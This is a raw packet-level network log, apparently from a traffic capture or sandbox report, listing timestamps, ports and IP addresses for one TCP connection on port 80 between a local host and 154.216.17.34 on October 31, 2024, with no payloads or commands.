Oct 31, 2024 02:09:15.306068897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306082964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306097031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306101084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306112051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306116104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306140900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306164026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306169987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306179047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306200027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306207895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306214094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306226969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306227922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306242943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306252003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306287050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341288090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341300011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341320038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341335058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341346025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341358900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341360092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341375113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341382980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341391087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341409922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341409922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341448069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341455936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341500998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341579914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341628075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341634035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341645002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341659069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341675043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341682911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341689110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341707945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341741085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341742039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341795921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341806889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341808081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341823101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341834068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341840982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341866016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341895103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.341911077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341923952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.341967106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.342278004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.342289925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.342302084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.342329979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.342348099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356231928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356250048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356300116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356302977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356349945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356355906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356369019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356396914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356420040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356636047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356648922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356662989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356681108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356689930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356699944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356703997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356717110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356734037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356765985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356882095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356898069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356909037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356921911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356929064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356935978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356949091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356961012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356966019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.356975079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.356987953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357000113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357018948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357043982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357271910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357283115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357294083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357311964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357331991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357332945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357346058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357356071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357361078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357373953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357373953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357387066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357398987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357409954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357413054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357423067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357445002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357465982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357570887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357579947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357599020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357610941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357621908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357624054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357635975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357650042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357654095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357672930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357687950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357692957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357700109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357734919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357744932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357758045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357772112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357783079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357819080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357940912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357984066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.357994080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.357995987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358009100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358027935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358036041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358047009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358047009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358077049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358102083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358159065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358194113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358206987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358220100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358233929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358242035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358246088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358274937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358278036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.358300924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.358325005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368370056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368385077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368402958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368416071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368429899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368442059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368453979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368458986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368465900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368480921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368499041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368505955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368511915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368524075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368527889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368561029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368561029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368568897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368581057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368587971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368627071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368789911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368803024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368815899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368846893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368863106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368895054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368906021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368916988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368937016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368942022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368952990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.368969917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.368999004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369015932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369029999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369041920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369055033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369057894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369075060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369087934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369087934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369101048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369122982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369148016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369179964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369193077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369214058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369220018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369226933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369239092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369256973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369265079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369270086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369282007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369297028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369302988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369309902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369321108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369329929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369337082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369343042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369355917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369366884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369368076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369401932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369414091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369422913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369431019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369431019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369437933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369451046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369456053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369467974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369477987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369482040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369497061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369515896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369527102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369544983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369556904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369569063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369584084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369595051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369597912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369618893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369626045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369646072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369668961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369680882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369694948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369708061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369724989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369744062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.369862080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369947910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369956970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369968891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369982004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.369993925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370004892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370027065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370043993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370084047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370126963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370140076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370173931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370191097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370204926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370217085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370234013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370266914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370316029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370328903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370340109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370369911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370388985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370397091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370430946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370443106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370481968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370490074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370556116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370568037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370578051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370609999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370630980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370687962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370739937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370749950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370759964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370794058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370806932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370881081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370892048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370902061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370933056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370943069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370959997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.370960951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370975018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.370989084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371005058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371016026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371061087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371073008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371093035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371104002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371115923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371126890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371156931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371159077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371171951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371182919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371196985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371208906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371227026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371229887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371242046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371254921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371256113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371268034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371275902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371285915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371304035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371318102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371342897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371356010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371386051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371393919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371432066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371488094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371496916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371499062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371511936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371525049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371536970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371541023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371570110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371592045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371599913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371618986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371633053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371645927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371659040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371663094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371691942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371701002 CET	49982	80	192.168.2.5	154.216.17.34
